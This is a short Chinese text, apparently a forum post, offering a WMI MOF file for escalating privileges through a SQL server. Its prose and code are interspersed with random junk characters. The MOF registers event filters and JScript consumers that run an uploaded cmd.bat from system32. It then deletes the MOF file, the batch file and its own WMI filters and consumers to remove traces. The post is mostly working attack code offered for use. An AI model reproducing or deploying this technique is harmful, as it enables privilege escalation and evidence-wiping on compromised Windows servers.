这个sql提权MOF需要运行 system下的文件,不能定义路径。
6 J6 ]3 l; a6 T- `! h7 \, {需要将要运行的命令写入到bat上传到system32目录,然后执行。
( w4 x& R$ a4 ~6 r3 b2 ]
" q( P3 a: h/ p8 u$ [# _9 b. _7 E这个sql提权MOF需要运行 system下的文件,不能定义路径。
b. X, J& p% T" x |3 E需要将要运行的命令写入到bat上传到system32目录,然后执行。
7 g7 z+ U( S0 `5 u: q. P/ E
; |1 g+ \+ J2 e" |#pragma
! Z7 K* a2 H, i; E namespace("\\\\.\\root\\cimv2")
$ ~$ K: z! g! r7 A0 ?2 n class
8 G# }/ k8 }. K% k6 L* u MyClass5477 h* y: i# y/ C! d7 t) T
{ [key]
* [; i1 p# X! z1 F2 f string
, F+ I7 t1 d" n+ j1 e: C Name;# @6 V: f) W1 D- E6 F) x
};
$ W# c* A' `) r+ c class
5 p9 { Y' F: E; c ActiveScriptEventConsumer
+ J8 i: i+ L& a. R8 C : __EventConsumer { [key]% g; q/ J9 X0 S
string& g4 j5 S% L" I" Q% j/ ^& A4 E: V/ |
Name; [not_null]
0 }3 S" }0 \2 ~% {- | string
X" [' L4 j* |2 U" a, b ScriptingEngine; string
' x% e4 S+ ~7 T ScriptFileName; [template]
. N: {! {9 a9 }5 X string
+ K2 [4 Q) f; ~% L; f ScriptText; uint32 KillTimeout;
& {$ J0 o/ D* c4 v1 t }; instance of __Win32Provider as $P {
: e: S6 b( ]* K) ]- v/ L% t Name
, {; K0 P( W0 f4 t4 l. I =& ~9 F! }# K$ h' `1 p
"ActiveScriptEventConsumer"; CLSID =
; t2 I4 D/ l- h ~ "{266c72e7-62e8-11d1-ad89-00c04fd8fdff}";
7 N; j" D- \& G: O PerUserInitialization
2 Y; z. A$ H' j4 }7 P8 f = TRUE;
" D( j" ~- S3 [4 P& C7 { }; instance of __EventConsumerProviderRegistration { Provider
; A8 h9 N, p2 O& m = $P; ConsumerClassNames
6 G& p3 D" o4 ~7 [ =0 p p0 j+ k% p
{"ActiveScriptEventConsumer"};
0 {' X1 P: D3 [4 l, [/ u+ k };
. @/ v8 Z/ k; b7 f/ s Instance of ActiveScriptEventConsumer2 U, ^: H& i( s6 Z) Q7 T! i/ ^- {
as $cons { Name
* E: N8 G4 X% ^+ r/ M =+ m% X4 `1 P4 ]
"ASEC"; ScriptingEngine. _3 m2 g% C9 n! v
=% c5 N) p2 i4 ~6 Q, `
"JScript"; ScriptText
" _$ R, J+ A$ `" w2 c =" ^0 A: u) a% V4 J- n6 n; v( b
"\ntry {var s = new ActiveXObject(\"Wscript.Shell\");\ns.Run(\"cmd.bat\");} catch (err) {};\nsv = GetObject(\"winmgmts:root\\\\cimv2\");try {sv.Delete(\"MyClass547\");} catch (err) {};try {sv.Delete(\"__EventFilter.Name='instfilt'\");} catch (err) {};try {sv.Delete(\"ActiveScriptEventConsumer.Name='ASEC'\");} catch(err) {};"; };
' I8 ?' }1 A% a/ A Instance of ActiveScriptEventConsumer& S. J# b5 b0 ?* X ]
as $cons2 { Name2 J2 `( O% d/ d% t- q
=
4 X9 q. Q& \4 d' Y1 ~1 m R# N; [ m "qndASEC"; ScriptingEngine$ c8 I p7 I5 M J1 E# O, J8 y
=
: @0 S- o! s# k "JScript"; ScriptText' p# T/ ]5 ~" k- H: X5 _
=
5 }' u* s9 [; r* k5 T/ F "\nvar objfs = new ActiveXObject(\"Scripting.FileSystemObject\");\ntry {var f1 = objfs.GetFile(\"wbem\\\\mof\\\\good\\\\hBsBa.mof\");\nf1.Delete(true);} catch(err) {};\ntry {\nvar f2 = objfs.GetFile(\"cmd.bat\");\nf2.Delete(true);\nvar s = GetObject(\"winmgmts:root\\\\cimv2\");s.Delete(\"__EventFilter.Name='qndfilt'\");s.Delete(\"ActiveScriptEventConsumer.Name='qndASEC'\");\n} catch(err) {};";2 T M( O2 p$ \4 A; \. }
}; instance of __EventFilter as $Filt { Name2 {) _0 V; i- w4 C. y& W6 |9 Z1 _
=* }7 _/ ^, p' Z2 z' U
"instfilt"; Query0 A2 a+ K9 _' {) f" K" ?
=
. o x* A; D$ j" k0 |+ r% {) `% W "SELECT * FROM __InstanceCreationEvent WHERE TargetInstance.__class = \"MyClass547\""; QueryLanguage9 |* M" x. E5 r7 i ?/ ~
= J5 K2 T+ k8 L, J
"WQL"; }; instance of __EventFilter as $Filt2 { Name
5 V- X: ^0 g0 z9 n# A6 B% n =$ G- }. O0 b% \' i
"qndfilt"; Query2 ]2 [/ T, ~/ P# `
=
& M: R; J) j% N r8 J8 p "SELECT * FROM __InstanceDeletionEvent WITHIN 1 WHERE TargetInstance ISA \"Win32_Process\" AND TargetInstance.Name = \"cmd.bat\""; QueryLanguage
- Y- l6 v/ O0 w% H5 _; Z9 U$ b =+ J. Q; T( h) z& z" E4 g
"WQL"; }; instance of __FilterToConsumerBinding as $bind { Consumer3 a+ d6 o- n2 P$ Z, H4 H
= $cons; Filter: z' t3 T: D. D& C9 Q
= $Filt;
' H. h- Y0 |2 M% x }; instance of __FilterToConsumerBinding as $bind2 { Consumer
7 w% Y3 }- e+ ]2 U6 g = $cons2; Filter) t1 i/ b1 ]6 j' L' D/ s
= $Filt2;( o! f4 Y6 U7 l& N5 b
}; instance of MyClass547! R8 I$ z( R1 s9 S( F
as $MyClass { Name
: [- ]% ?# U2 y4 U = s0 C7 J0 \2 \+ c; H; @6 M V" I
"ClassConsumer";
. _! F' M* D% _3 w }; |